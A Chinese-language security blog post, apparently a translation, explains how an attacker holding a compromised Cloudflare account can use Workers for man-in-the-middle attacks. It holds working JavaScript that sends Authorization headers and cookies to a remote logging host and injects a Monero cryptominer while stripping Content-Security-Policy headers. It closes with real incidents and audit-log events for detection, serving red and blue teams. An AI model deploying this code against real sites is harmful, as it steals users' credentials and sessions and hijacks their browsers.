利用Cloudflare Workers进行中间人攻击：窃取令牌与注入恶意脚本

本文详细介绍了攻击者如何通过滥用Cloudflare Workers在边缘节点实施中间人攻击，包括窃取授权令牌、Cookie以及注入恶意JavaScript代码的技术细节和防御建议。

利用Cloudflare Workers进行中间人攻击

Cloudflare Workers提供了一种强大的无服务器解决方案，可以在每个HTTP请求和响应之间运行代码。在本文中，我们将看到攻击者在入侵Cloudflare账户后如何滥用Workers来建立持久性并窃取敏感数据。

这里讨论的技术已经在实际攻击中被使用，但很大程度上未被察觉。红队人员可以了解Cloudflare Workers的进攻用途，蓝队人员则可以了解为什么保护Cloudflare账户的访问权限如此关键。

引言

需要明确的是：这不是Cloudflare或Cloudflare Workers的漏洞。Cloudflare不应该（甚至不能）做任何事情。本文探讨了利用Cloudflare Workers进行攻击的方法，这些方法正是由Workers的设计以及更广泛的“边缘无服务器计算”模型所实现的。

本文讨论的所有代码都可以在GitHub仓库中找到。

Cloudflare Workers

Cloudflare Workers允许在Cloudflare的边缘服务器上透明地部署无服务器代码，位于客户端和您的最终目标（“源站”）之间。它支持多种语言，如JavaScript/TypeScript或Python。

Cloudflare Workers对于以编程方式重写请求和响应非常有价值，例如：

  • 如果您的网站不可用或正在部署中，将用户重定向到维护页面。
  • 在HTML响应中动态重写链接；例如，如果我将blog.christophetd.fr移动到christophetd.fr/blog/，并希望确保没有死链接。
  • 在REST API响应中动态添加常见的安全头。
  • 在边缘阻止使用旧TLS版本的请求，并显示一个网页要求用户使用更新的浏览器。

它们的使用相对简单。下面的示例自动将来自/docs/latest的HTTP请求重定向到/docs/v2.4：

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addEventListener('fetch', event => {
  event.respondWith(handleRequest(event, event.request));
});

async function handleRequest(event, originalRequest) {
  // 解析请求URL
  const requestUrl = new URL(originalRequest.url);

  if (requestUrl.pathname.startsWith("/docs/latest/")) {
    // 重定向 /docs/latest/ 到 /api/v2.4/
    newUrl = originalRequest.url.replace("/docs/latest/", "/docs/v2.4/");
    return Response.redirect(newUrl, 301);
  } else {
    // 什么都不做，只是转发原始请求
    return fetch(originalRequest)
  }
}

正如您所看到的，Cloudflare Workers通过设计提供了一种编程方式，可以透明地读取或重写HTTP请求和响应。在下一节中，我们将看到攻击者在入侵Cloudflare账户后如何滥用它。

滥用Cloudflare Workers

让我们站在攻击者的角度，假设他们刚刚入侵了一个Cloudflare账户。首先，Cloudflare仅向其企业客户提供仪表板单点登录（SSO），因此可以合理预期，在其15.4万+客户（不包括免费账户）中，有数千个账户使用了共享的、长期有效的密码。此外，过去也有关于Cloudflare漏洞被用于窃取API密钥的报告（这里和这里）。最后，Cloudflare API密钥是静态的、长期有效的凭据，很容易被意外泄露。

回到我们的攻击者——我们首先看到的是受害者通过Cloudflare代理的网站：

Cloudflare代理的网站

通常情况下，Cloudflare被设置为将传入的请求代理到某个第三方源站：

Cloudflare代理设置

有了这个场景，让我们深入探讨我们——作为攻击者——如何利用Cloudflare Workers来实现我们的目标！

创建恶意的Cloudflare Worker

我们首先创建一个普通的Worker，目前除了位于HTTP请求和响应之间之外，什么都不做。

worker.js

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addEventListener('fetch', event => {
  event.respondWith(handleRequest(event, event.request));
});

async function handleRequest(event, request) {
    // 代理请求
    return fetch(request);
}

wrangler.toml

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name = "my-malicious-worker"
compatibility_date = "2022-06-24"

然后，我们使用Cloudflare wrangler CLI将其部署到Cloudflare：

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$ wrangler publish worker.js
 wrangler 2.0.15
--------------------
Total Upload: 0.51 KiB / gzip: 0.29 KiB
Uploaded my-malicious-worker (2.11 sec)
Published my-malicious-worker (1.73 sec)
  my-malicious-worker.christophetd.workers.dev

我们的Worker现在已经部署，但还没有代理流量。为了做到这一点，我们将其与目标区域的DNS条目关联，或者添加一个“路由”触发器。

  • 通过新的DNS记录触发Cloudflare Worker
  • 通过路由模式触发Cloudflare Worker

或者，我们可以使用Cloudflare API：

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curl -X POST "https://api.cloudflare.com/client/v4/zones/<zone-id>/workers/routes" \
     -H "X-Auth-Email: $CF_EMAIL" \
     -H "X-Auth-Key: $CF_API_KEY" \
     -H "Content-Type: application/json" \
     --data '{"pattern":"*somewhereinthe.cloud/*","script":"my-malicious-worker"}'

现在我们有了“中间人Worker”，让我们看看一些对攻击者来说有用的用例。

窃取授权令牌

客户端发送的Authorization HTTP头通常包含凭据，如OAuth令牌、JWT或API密钥。当HTTP请求中设置了Authorization头时，让我们窃取它并将其发送到攻击者控制的远程服务器。

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async function handleRequest(event, request) {
  await stealAuthorizationHeader(request);
  return fetch(request);
}

async function stealAuthorizationHeader(request) {
  const authz = request.headers.get("Authorization")
  if (authz) {
    await log(`authorization header: ${authz}`)
  }
}

async function log(data) {
  // 将任意数据发送到攻击者控制的远程服务器
  await fetch("http://46.101.191.103.nip.io/log/" + btoa(data));
}

在第一个包含Authorization头的HTTP请求上，攻击者控制的服务器将收到：

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authorization header: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0.eyJuYW1lIjoiUmljayBBc3RsZXkiLCJnaXZlc1lvdVVwIjpmYWxzZSwibGV0c1lvdURvd24iOmZhbHNlLCJ0ZWxsc0xpZXMiOmZhbHNlfQ

窃取Cookie

Cookie也非常有价值，因为它们通常是会话标识符，可用于冒充任何用户的身份。它们最初由服务器设置（HTTP响应中的Set-Cookie头），然后由客户端发送回来（HTTP响应中的Cookie头）。让我们窃取两者：

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async function handleRequest(event, request) {
  await stealAuthorizationHeader(request);
  response = await fetch(request);
  await stealCookies(request, response);
  return response;
}

async function stealCookies(request, response) {
  cookies = response.headers.get("Set-Cookie")
  if (cookies) {
    await log(`cookies sent by server: ${cookies}`);
  }

  cookies = request.headers.get("Cookie")
  if (cookies) {
    await log(`cookies sent by client: ${cookies}`);
  }
}

攻击者输出示例：

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cookies sent by server: sessionId=3f0cff1d3cc4642e15835d7304d453cc; Max-Age=2592000; Secure; Path=/; Domain=somewhereinthe.cloud
cookies sent by client: cf_use_ob=0; sessionId=3f0cff1d3cc4642e15835d7304d453cc

注入恶意JavaScript代码

窃取敏感数据很好，但在网站提供的每个页面中注入一个挖矿程序怎么样？

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async function injectMaliciousScript(originalResponse) {
  // 仅在HTML响应中注入我们的脚本
  if (!originalResponse.headers.get("Content-Type").includes("html")) {
    return originalResponse;
  }

  originalHtml = await originalResponse.text();
  // 要注入的恶意脚本
  const script = `
    <script src="https://monerominer.rocks/miner-mmr/webmnr.min.js"></script>
    <script>
      server = "wss://f.xmrminingproxy.com:8181";
      var pool = "moneroocean.stream";
      var walletAddress = "PUT YOUR WALLET ADDRESS HERE";
      var workerId = ""
      var threads = -1;
      var password = "x";
      startMining(pool, walletAddress, workerId, threads, password);
      throttleMiner = 20;
    </script>
  `
  modifiedHtml = originalHtml.replace("</body>", script + "</body>")
  modifiedResponse = new Response(modifiedHtml, originalResponse)
  return modifiedResponse
}

如果受害网站有一个强大的内容安全策略（CSP）阻止内联或不受信任的脚本怎么办？我们是中间人，所以我们可以简单地删除Content-Security-Policy头！

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async function injectMaliciousScript(originalResponse) {
  // ...
  modifiedResponse = new Response(modifiedHtml, originalResponse)

  // 摆脱任何烦人的内容安全策略，这些策略会阻止我们的脚本
  if (modifiedResponse.headers.get("Content-Security-Policy")) {
    modifiedResponse.headers.delete("Content-Security-Policy")
  }

  return modifiedResponse
}

插图：在所有响应中透明注入的恶意JavaScript负载

其他潜在的滥用

  • 选择性目标：根据客户端IP或平台表现不同。例如，如果用户代理与搜索引擎匹配，则不注入任何恶意内容。
  • 钓鱼：透明地代理请求到合法网站，动态重写响应链接并窃取凭据（包括2FA令牌）。
  • 重写支付信息：等待响应中看起来像IBAN或加密货币地址的内容，并将其替换为攻击者拥有的地址。

实际使用记录

攻击者滥用Cloudflare Workers动态重写HTTP响应的情况在两次真实事件中有记录。

2021年12月，攻击者入侵了Badger的Cloudflare API密钥。然后，引用Badger自己的事后分析：

在11月10日，攻击者开始使用他们的API访问权限，通过Cloudflare Workers将恶意脚本注入到app.badger.com的HTML中。该脚本拦截web3交易，并提示用户允许一个外部地址操作其钱包中的ERC-20令牌。

2020年，Sucuri报告称，韩国攻击者使用Cloudflare Worker在请求者是搜索引擎时动态向网页添加链接。目的是进行SEO垃圾邮件并提高第三方网站的声誉。

Sucuri发现的恶意Cloudflare Worker

检测Cloudflare账户中的恶意活动

Cloudflare提供其控制平面的审计日志，允许识别可疑活动。当创建新的Worker时，它会生成一个类型为script_create的事件。

当有人将Worker绑定到路由（route_create）或创建指向Worker的DNS记录（rec_add）时，它也会生成事件。

更一般地说，Cloudflare提供了几种事件类型，可用于检测潜在的恶意活动，总结在下表中。您也可以在配套的GitHub仓库中找到示例事件日志。

事件 事件代码
创建了新的Worker script_create
Worker被绑定到路由 route_create
创建了DNS记录 rec_add
用户API令牌被创建（和查看） token_create
用户API令牌被轮换（和查看） token_roll
账户范围的API令牌被查看 API_key_view
成功认证到Cloudflare仪表板 login

如果您有Cloudflare企业计划（来源），您可以使用各种集成将这些审计日志发送到您选择的SIEM或日志管理平台。否则，您可以从仪表板和API查看这些日志。

攻击者滥用Cloudflare Workers的其他方式

攻击者多年来也一直在滥用Cloudflare Workers作为分层命令和控制（C2）基础设施的代理，或者作为托管钓鱼页面的简单方式。

  • 恶意软件：Cloudfall、Blackwater、Astaroth
  • 攻击者组织：APT41、SparkingGoblin
  • 钓鱼：Microsoft、Yahoo、UPS、Adobe、Paypal、AT&T等

结论

攻击者将继续利用Cloudflare Workers进行恶意目的，正如他们在过去几年中对钓鱼和C2基础设施所做的那样。他们可能会更频繁地使用Workers的核心功能来注入恶意JavaScript负载并窃取敏感数据。与此同时，蓝队希望确保他们的Cloudflare账户得到适当的安全保护和监控，以检测可疑活动。

感谢阅读，让我们在Twitter上继续讨论！

Christophe

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